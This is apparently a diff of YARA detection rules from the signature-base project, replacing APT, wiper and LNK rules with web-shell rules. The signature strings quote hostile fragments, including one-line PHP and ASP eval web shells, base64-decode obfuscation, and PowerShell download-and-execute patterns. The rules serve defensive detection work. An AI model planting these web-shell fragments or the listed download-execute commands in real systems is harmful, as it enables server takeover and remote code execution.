-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ebc59032b7450aa438ca30170560c95550cda6ff7774b8ce1486309716da9e6c"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L334-L349"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7edefb8bd0876c41906f4b39b52cd0ef"
+		logic_hash = "22f444ce4068f46c0b57e566faca0c6377346e403de592b0e51869781fda31a9"
+		score = 70
 		quality = 85
-		tags = "CVE-2023-35078"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xr1 = /\/mifs\/aad\/api\/v2\/[^\n]{1,300} 200 [1-9][0-9]{0,60} /
+		$s0 = "copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);" fullword
+		$s3 = "if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {" fullword
+		$s8 = "echo \"Uploaded file: \" . $HTTP_POST_FILES['userfile']['name'];" fullword
 
 	condition:
-		$xr1
+		2 of them
 }
-rule SIGNATURE_BASE_MAL_WAR_Ivanti_EPMM_Mobileiron_Mi_War_Aug23 : CVE_2023_35078 FILE
+rule SIGNATURE_BASE_Webshell_Mysql_Interface_V1_0
 {
 	meta:
-		description = "Detects WAR file found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
-		author = "Florian Roth"
-		id = "cd16cf29-a90d-5c3f-b66f-e9264dbf79fb"
-		date = "2023-08-01"
+		description = "Web Shell - file Mysql interface v1.0.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar#L16-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0083727e34118d628c8507459bfb7f949f11af8197e201066e29e263e2c3f944"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L350-L363"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a12fc0a3d31e2f89727b9678148cd487"
+		logic_hash = "baa938c4cfd2c46b1752d866e186d76a04c353617d8ec3e0d78a3c546b120d13"
+		score = 70
 		quality = 85
-		tags = "CVE-2023-35078, FILE"
-		hash1 = "6255c75e2e52d779da39367e7a7d4b8d1b3c9c61321361952dcc05819251a127"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "logsPaths.txt" ascii fullword
-		$s2 = "keywords.txtFirefox" ascii
+		$s0 = "echo \"<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\\\"return"
 
 	condition:
-		uint16(0)==0x4b50 and filesize <20KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_MAL_WAR_Ivanti_EPMM_Mobileiron_Logclear_JAVA_Aug23 : CVE_2023_35078 FILE
+rule SIGNATURE_BASE_Webshell_Php_S_U
 {
 	meta:
-		description = "Detects LogClear.class found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
-		author = "Florian Roth"
-		id = "e1ef3bf3-0107-5ba6-a49f-71e079851a4f"
-		date = "2023-08-01"
+		description = "Web Shell - file s-u.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar#L34-L53"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c42c2eca784d7089aab56addca11bad658a4a6c34a81ae823bd0c3dad41a1c99"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L364-L377"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "efc7ba1a4023bcf40f5e912f1dd85b5a"
+		logic_hash = "3c6904fa475784e737275fd47eabea077bed57e920071c68fa09f7defecbdb72"
+		score = 70
 		quality = 85
-		tags = "CVE-2023-35078, FILE"
-		hash1 = "deb381c25d7a511b9eb936129eeba2c0341cff7f4bd2168b05e40ab2ee89225e"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "logsPaths.txt" ascii fullword
-		$s2 = "log file: %s, not read" ascii fullword
-		$s3 = "/tmp/.time.tmp" ascii fullword
-		$s4 = "readKeywords" ascii fullword
-		$s5 = "\"----------------  ----------------" ascii fullword
+		$s6 = "<a href=\"?act=do\"><font color=\"red\">Go Execute</font></a></b><br /><textarea"
 
 	condition:
-		uint16(0)==0xfeca and filesize <20KB and 4 of them or all of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Monsoon_APT_Malware_1 : FILE
+rule SIGNATURE_BASE_Webshell_Phpshell_2_1_Config
 {
 	meta:
-		description = "Detects malware from Monsoon APT"
+		description = "Web Shell - file config.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a543c46d-01fc-5276-a915-183263956455"
-		date = "2017-09-08"
-		modified = "2023-01-06"
-		reference = "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_monsoon.yar#L14-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "76580f999d445f4baace5287a3038e294f8be3783289d6c7c5b2c0c92c39db86"
-		score = 75
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L378-L391"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bd83144a649c5cc21ac41b505a36a8f3"
+		logic_hash = "51d16bcaef5f6795ebcd1154dca79d5cf5a389948b0e59f4939c30fef877e816"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "c9642f44d33e4c990066ce6fa0b0956ff5ace6534b64160004df31b9b690c9cd"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "cmd.exe /c start " fullword ascii
-		$s2 = "\\Microsoft\\Templates\\" ascii
-		$s3 = "\\Microsoft\\Windows\\" ascii
+		$s1 = "; (choose good passwords!).  Add uses as simple 'username = \"password\"' lines." fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="a0c824244f1d36ea1dd2759cf7599cd1" or all of them ))
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Monsoon_APT_Malware_2 : FILE
+rule SIGNATURE_BASE_Webshell_Asp_EFSO_2
 {
 	meta:
-		description = "Detects malware from Monsoon APT"
+		description = "Web Shell - file EFSO_2.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dbbccf56-7e36-5c3a-b8d9-ee08d077f29f"
-		date = "2017-09-08"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_monsoon.yar#L37-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "20552573102dd981c81ffa6a8c7bbdfafc9bbb7da1fbc12f273bca7d6a0c9d05"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L392-L405"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+		logic_hash = "19bd00fabe0b4695129c180dd145e757e0b2c2a6dad751e8c889222c191e03ce"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "17c3d0fe08e1184c9737144fa065f4530def30d6591e5414a36463609f9aa53a"
-		hash2 = "8e0574ebf3dc640ac82987ab6ee2a02fc3dd5eaf4f6b5275272ba887acd15ac0"
-		hash3 = "bf93ca5f497fc7f38533d37fd4c083523ececc34aa2d3660d81014c0d9091ae3"
 
 	strings:
-		$x1 = "\\Microsoft\\Windows\\coco.exe" ascii
-		$x2 = ":\\System Volume Information\\config" fullword ascii
-		$x3 = " cscript.[BACKSPA[PAGE DO[CAPS LO[PAGE UPTPX498.dTPX499.d" fullword wide
-		$s1 = "\\Microsoft\\Templates\\msvcrt.dll" ascii
-		$s2 = "%04d/%02d/%02d %02d:%02d:%02d - {%s}" fullword wide
-		$s3 = "wininet.dll    " fullword ascii
-		$s4 = "DMCZ0001.dat" fullword ascii
-		$s5 = "TZ0000001.dat" fullword ascii
-		$s6 = "\\MUT.dat" ascii
-		$s7 = "ouemm/emm!!!!!!!!!!!!!" fullword ascii
+		$s0 = "%8@#@&P~,P,PP,MV~4BP^~,NS~m~PXc3,_PWbSPU W~~[u3Fffs~/%@#@&~~,PP~~,M!PmS,4S,mBPNB"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 3 of them ))
+		all of them
 }
-rule SIGNATURE_BASE_Invoke_Mimikatz
+rule SIGNATURE_BASE_Webshell_Jsp_Up
 {
 	meta:
-		description = "Detects Invoke-Mimikatz String"
+		description = "Web Shell - file up.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "37de51a6-e1bb-5ee7-9b7f-8fe17b3697b5"
-		date = "2016-08-03"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_invoke_mimikatz.yar#L10-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b9bfa54a64d6f6b8af97ec62c9102ccf0912a19b65fbd25a4836480e63497a00"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L406-L419"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "515a5dd86fe48f673b72422cccf5a585"
+		logic_hash = "77c8121d000c45e44717689dec535fde7c9722005d1e4ff40d0b84abcf289f47"
+		score = 70
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67"
 
 	strings:
-		$x2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm" ascii
-		$x3 = "Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii
+		$s9 = "// BUG: Corta el fichero si es mayor de 640Ks" fullword
 
 	condition:
-		1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_WIPER_Isaacwiper_Mar22_1 : FILE
+rule SIGNATURE_BASE_Webshell_Networkfilemanagerphp
 {
 	meta:
-		description = "Detects IsaacWiper malware"
+		description = "Web Shell - file NetworkFileManagerPHP.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "97d8d8dd-db65-5156-8f97-56c620cf2d56"
-		date = "2022-03-03"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_isaacwiper.yar#L3-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6fe7d1536db5fc30c9b4a171be66993fc69e6a1d96dae00be4170bdb4a53afb8"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L420-L433"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "acdbba993a5a4186fd864c5e4ea0ba4f"
+		logic_hash = "235e4062a9b9ebdf7dd0b8a2cb3b16ba7688a75b90d8c527344cf9605304838d"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
-		hash2 = "7bcd4ec18fc4a56db30e0aaebd44e2988f98f7b5d8c14f6689f650b4f11e16c0"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "C:\\ProgramData\\log.txt" wide fullword
-		$s2 = "Cleaner.dll" ascii fullword
-		$s3 = "-- system logical drive: " wide fullword
-		$s4 = "-- FAILED" wide fullword
-		$op1 = { 8b f1 80 3d b0 66 03 10 00 0f 85 96 00 00 00 33 c0 40 b9 a8 66 03 10 87 01 33 db }
-		$op2 = { 8b 40 04 2b c2 c1 f8 02 3b c8 74 34 68 a2 c8 01 10 2b c1 6a 04 }
-		$op3 = { 8d 4d f4 ff 75 08 e8 12 ff ff ff 68 88 39 03 10 8d 45 f4 50 e8 2d 1d 00 00 cc }
+		$s9 = "  echo \"<br><center>All the data in these tables:<br> \".$tblsv.\" were putted "
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and (pe.imphash()=="a4b162717c197e11b76a4d9bc58ea25d" or 3 of them )
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_LNK_Lnkfileoverrfc : FILE
+rule SIGNATURE_BASE_Webshell_Server_Variables
 {
 	meta:
-		description = "Detects APT lnk files that run double extraction and launch routines with autoruns"
-		author = "@Grotezinfosec, modified by Florian Roth"
-		id = "19c393af-ff7c-5345-a3ef-c06372344baf"
-		date = "2018-09-18"
+		description = "Web Shell - file Server Variables.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_lnk_files.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "52ff949a17039c1fa5707ff503aa1a96b3925bdfef01867c9b59a8d72493a84e"
-		score = 65
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L434-L448"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "47fb8a647e441488b30f92b4d39003d7"
+		logic_hash = "2a85301f1d6e4c457ff0a1b2a08eb6f054905993a0667087f37b9a7352e38911"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$command = "C:\\Windows\\System32\\cmd.exe" fullword ascii
-		$command2 = {2F 00 63 00 20 00 66 00 69 00 6E 00 64 00 73 00 74 00 72}
-		$base64 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD" ascii
-		$cert = " -decode " ascii
+		$s7 = "<% For Each Vars In Request.ServerVariables %>" fullword
+		$s9 = "Variable Name</B></font></p>" fullword
 
 	condition:
-		uint16(0)==0x004c and uint32(4)==0x00021401 and filesize >15KB and (2 of them )
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_LNK_Suspiciouscommands : FILE
+rule SIGNATURE_BASE_Webshell_Caidao_Shell_Ice_2
 {
 	meta:
-		description = "Detects LNK file with suspicious content"
+		description = "Web Shell - file ice.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8bfb1322-8e33-50bc-a389-2d8bdfec9ca7"
-		date = "2018-09-18"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_lnk_files.yar#L20-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a0380927ebc89e46f9138e01f154113c5e23680cea9b117b47406003ea565c1e"
-		score = 60
-		quality = 81
-		tags = "FILE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L449-L462"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1d6335247f58e0a5b03e17977888f5f2"
+		logic_hash = "57c3c369abd826d676290300d8df2d890b777fa1f0e1156654062159a4228db7"
+		score = 70
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = " -decode " ascii wide
-		$s2 = " -enc " ascii wide
-		$s3 = " -w hidden " ascii wide
-		$s4 = " -ep bypass " ascii wide
-		$s5 = " -noni " ascii nocase wide
-		$s7 = " -noprofile " ascii wide
-		$s8 = ".DownloadString(" ascii wide
-		$s9 = ".DownloadFile(" ascii wide
-		$s10 = "IEX(" ascii wide
-		$s11 = "iex(" ascii wide
-		$s12 = "WScript.shell" ascii wide fullword nocase
-		$s13 = " -nop " ascii wide
-		$s14 = "&tasklist>"
-		$s15 = "setlocal EnableExtensions DisableDelayedExpansion"
-		$s16 = "echo^ set^"
-		$s17 = "del /f /q "
-		$s18 = " echo | start "
-		$s19 = "&& echo "
-		$s20 = "&&set "
-		$s21 = "%&&@echo off "
+		$s0 = "<?php ${${eval($_POST[ice])}};?>" fullword
 
 	condition:
-		uint16(0)==0x004c and 1 of them
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_DOC_LNK_In_ZIP : FILE
+rule SIGNATURE_BASE_Webshell_Caidao_Shell_Mdb
 {
 	meta:
-		description = "Detects suspicious .doc.lnk file in ZIP archive"
+		description = "Web Shell - file mdb.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9c140d02-3b18-5faf-bb1d-2eb5c07a23dc"
-		date = "2019-07-02"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/RedDrip7/status/1145877272945025029"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_lnk_files.yar#L53-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ef4cdaad05af12f210aa6324a1e34a42843f814c59fb0085ac18370917ad4866"
-		score = 50
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L463-L476"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fbf3847acef4844f3a0d04230f6b9ff9"
+		logic_hash = "89f7692acd754992f9379b9b4661a01d6ab95cb85a3c2699928aa5ed3a3ac8c5"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "7ea4f77cac557044e72a8e280372a2abe072f2ad98b5a4fbed4e2229e780173a"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = ".doc.lnk" fullword ascii
+		$s1 = "<% execute request(\"ice\")%>a " fullword
 
 	condition:
-		uint16(0)==0x4b50 and 1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turla_APT_Srsvc : TURLA FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Guige
 {
 	meta:
-		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		description = "Web Shell - file guige.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "951ee9f8-1ab0-5fd5-be9b-053ec82f6ea2"
-		date = "2016-06-09"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L10-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "76bd2aacde66114090d1c1767da64728219230964a0bc78a5d830819c46bac3a"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L477-L490"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2c9f2dafa06332957127e2c713aacdd2"
+		logic_hash = "9d71095b5c709dfdd8b5fcebcaa4493d9c93e841e85cda2e2255e0c15ea83659"
+		score = 70
 		quality = 85
-		tags = "TURLA, FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		family = "Turla"
-		hash1 = "65996f266166dbb479a42a15a236e6564f0b322d5d68ee546244d7740a21b8f7"
-		hash2 = "25c7ff1eb16984a741948f2ec675ab122869b6edea3691b01d69842a53aa3bac"
 
 	strings:
-		$x1 = "SVCHostServiceDll.dll" fullword ascii
-		$s2 = "msimghlp.dll" fullword wide
-		$s3 = "srservice" fullword wide
-		$s4 = "ModStart" fullword ascii
-		$s5 = "ModStop" fullword ascii
+		$s0 = "if(damapath!=null &&!damapath.equals(\"\")&&content!=null"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20KB and (1 of ($x*) or all of ($s*))) or ( all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turla_APT_Malware_Gen1 : TURLA FILE
+rule SIGNATURE_BASE_Webshell_Phpspy2010
 {
 	meta:
-		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		description = "Web Shell - file phpspy2010.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7ead2da1-3544-5a26-8767-6d3f29de8b96"
-		date = "2016-06-09"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L33-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3676d01d5e4044fd49292eb7b4376ff90f0a41141f89a19b13c5518b01257be3"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L491-L506"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "14ae0e4f5349924a5047fed9f3b105c5"
+		logic_hash = "b3acef196b30cf9afe24c81860bedff69fc5652c514aa36aba85d16b12bcc432"
+		score = 70
 		quality = 85
-		tags = "TURLA, FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		family = "Turla"
-		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
-		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
-		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
-		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
-		hash5 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
-		hash6 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
-		hash7 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
-		hash8 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
-		hash9 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
-		hash10 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
 
 	strings:
-		$x1 = "too long data for this type of transport" fullword ascii
-		$x2 = "not enough server resources to complete operation" fullword ascii
-		$x3 = "Task not execute. Arg file failed." fullword ascii
-		$x4 = "Global\\MSCTF.Shared.MUTEX.ZRX" fullword ascii
-		$s1 = "peer has closed the connection" fullword ascii
-		$s2 = "tcpdump.exe" fullword ascii
-		$s3 = "windump.exe" fullword ascii
-		$s4 = "dsniff.exe" fullword ascii
-		$s5 = "wireshark.exe" fullword ascii
-		$s6 = "ethereal.exe" fullword ascii
-		$s7 = "snoop.exe" fullword ascii
-		$s8 = "ettercap.exe" fullword ascii
-		$s9 = "miniport.dat" fullword ascii
-		$s10 = "net_password=%s" fullword ascii
+		$s3 = "eval(gzinflate(base64_decode("
+		$s5 = "//angel" fullword
+		$s8 = "$admin['cookiedomain'] = '';" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and (2 of ($x*) or 8 of ($s*))) or (12 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_RUAG_APT_Malware_Gen2 : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Ice
 {
 	meta:
-		description = "Detects malware used in the RUAG APT case"
+		description = "Web Shell - file ice.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8a50e5d5-f16d-53c7-825c-a8e51c207eac"
-		date = "2016-06-09"
-		modified = "2023-01-06"
-		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L73-L108"
